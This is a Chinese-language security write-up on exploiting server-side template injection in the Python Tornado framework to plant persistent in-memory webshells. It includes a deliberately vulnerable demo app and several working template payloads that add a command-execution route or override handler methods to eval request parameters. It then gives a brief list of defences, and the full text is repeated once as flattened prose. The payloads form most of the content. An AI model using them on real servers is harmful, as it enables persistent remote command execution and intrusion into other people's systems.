掌握Tornado隐秘漏洞:构建内存马,实现命令执行
字数 866 2025-08-22 12:23:36

Tornado框架隐秘漏洞分析与内存马构造技术

1. Tornado框架概述

Tornado是一个使用Python编写的Web框架和异步网络库,最初由FriendFeed开发。其主要特点包括:

  • 非阻塞网络I/O特性
  • 适合长轮询、WebSocket等需要长时间连接的应用场景
  • 内置可扩展的模板引擎

2. Tornado模板渲染机制

Tornado提供两个主要的模板渲染函数:

2.1 render方法

  • 用于加载模板文件
  • 将指定参数传递给模板
  • 最终将渲染结果发送给客户端

2.2 render_string方法

  • 直接从字符串中加载模板内容
  • 接受参数填充模板占位符
  • 返回渲染后的字符串,不直接输出到HTTP响应

2.3 模板语法

{{ ... }} - 输出Python表达式结果(默认HTML编码)
{{! ... }} - 输出未经转义的内容
{% ... %} - 执行控制语句(条件判断、循环等)
{# ... #} - 模板注释

3. 内存马构造思路

Web服务内存马构造主要有两种思路:

  1. 注册一个新的URL,绑定恶意函数
  2. 修改原有的URL处理逻辑

4. 测试环境搭建

import tornado.ioloop
import tornado.web

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        tornado.web.RequestHandler._template_loaders = {} # 清空模板引擎
        with open('index.html', 'w') as (f):
            f.write(self.get_argument('name')) # GET方式传name参数
        self.render('index.html')

app = tornado.web.Application([('/', IndexHandler)])
app.listen(5000, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()

关键点:需要清空_template_loaders,否则会一直使用第一个传入的payload。

5. 路由规则分析

5.1 add_handlers方法

def add_handlers(self, host_pattern: str, host_handlers: _RuleList) -> None:
    host_matcher = HostMatches(host_pattern)
    rule = Rule(host_matcher, _ApplicationRouter(self, host_handlers))
    self.default_router.rules.insert(-1, rule)

5.2 add_rules方法

def add_rules(self, rules: _RuleList) -> None:
    for rule in rules:
        if isinstance(rule, (tuple, list)):
            assert len(rule) in (2, 3, 4)
            if isinstance(rule[0], basestring_type):
                rule = Rule(PathMatches(rule[0]), *rule[1:])
            else:
                rule = Rule(*rule)
        self.rules.append(self.process_rule(rule))

6. 内存马构造技术

6.1 新增注册路由方式

Payload构造

type(
    "x",
    (__import__("tornado").web.RequestHandler,),
    {
        "get": lambda x: x.write(__import__('os').popen(x.get_argument('cmd')).read())
    }
)

完整内存马

{{handler.application.add_handlers(".*",[("/4",type("x",(__import__("tornado").web.RequestHandler,),{"get":lambda x: x.write(__import__('os').popen(x.get_argument('cmd')).read())}))])}}

6.2 覆盖处理函数方式

关键点

  • Tornado每次请求都是全新的handler和request
  • 直接绑定恶意函数的方式不可行
  • 需要修改类级别行为

内存马构造

{% raw handler.__class__.prepare = lambda self: self.write(str(eval(self.get_query_argument("cmd", "id")))) %}

6.3 异常情况下的内存马

6.3.1 使用request.connection.write

{{handler.__class__.prepare = lambda self: self.request.connection.write((str(eval(self.get_query_argument("cmd", "id")))).encode())}}

6.3.2 覆盖异常处理函数

{% raw handler.__class__._handle_request_exception = lambda x, y: [x.write((str(eval(x.get_query_argument("cmd", "id")))).encode()), x.finish()][0] %}

7. 防御措施

  1. 严格控制模板渲染的用户输入
  2. 禁用或限制模板中的动态代码执行功能
  3. 定期更新Tornado框架版本
  4. 实施严格的输入验证和输出编码
  5. 监控异常的路由规则变更

8. 总结

本文详细分析了Tornado框架中存在的安全漏洞,特别是通过模板注入实现内存马的技术。通过三种不同的方式(新增路由、覆盖处理函数、异常处理)实现了命令执行功能,这些技术对于安全研究和防御建设都具有重要参考价值。

Tornado框架隐秘漏洞分析与内存马构造技术 1. Tornado框架概述 Tornado是一个使用Python编写的Web框架和异步网络库,最初由FriendFeed开发。其主要特点包括: 非阻塞网络I/O特性 适合长轮询、WebSocket等需要长时间连接的应用场景 内置可扩展的模板引擎 2. Tornado模板渲染机制 Tornado提供两个主要的模板渲染函数: 2.1 render方法 用于加载模板文件 将指定参数传递给模板 最终将渲染结果发送给客户端 2.2 render_ string方法 直接从字符串中加载模板内容 接受参数填充模板占位符 返回渲染后的字符串,不直接输出到HTTP响应 2.3 模板语法 3. 内存马构造思路 Web服务内存马构造主要有两种思路: 注册一个新的URL,绑定恶意函数 修改原有的URL处理逻辑 4. 测试环境搭建 关键点 :需要清空 _template_loaders ,否则会一直使用第一个传入的payload。 5. 路由规则分析 5.1 add_ handlers方法 5.2 add_ rules方法 6. 内存马构造技术 6.1 新增注册路由方式 Payload构造 : 完整内存马 : 6.2 覆盖处理函数方式 关键点 : Tornado每次请求都是全新的handler和request 直接绑定恶意函数的方式不可行 需要修改类级别行为 内存马构造 : 6.3 异常情况下的内存马 6.3.1 使用request.connection.write 6.3.2 覆盖异常处理函数 7. 防御措施 严格控制模板渲染的用户输入 禁用或限制模板中的动态代码执行功能 定期更新Tornado框架版本 实施严格的输入验证和输出编码 监控异常的路由规则变更 8. 总结 本文详细分析了Tornado框架中存在的安全漏洞,特别是通过模板注入实现内存马的技术。通过三种不同的方式(新增路由、覆盖处理函数、异常处理)实现了命令执行功能,这些技术对于安全研究和防御建设都具有重要参考价值。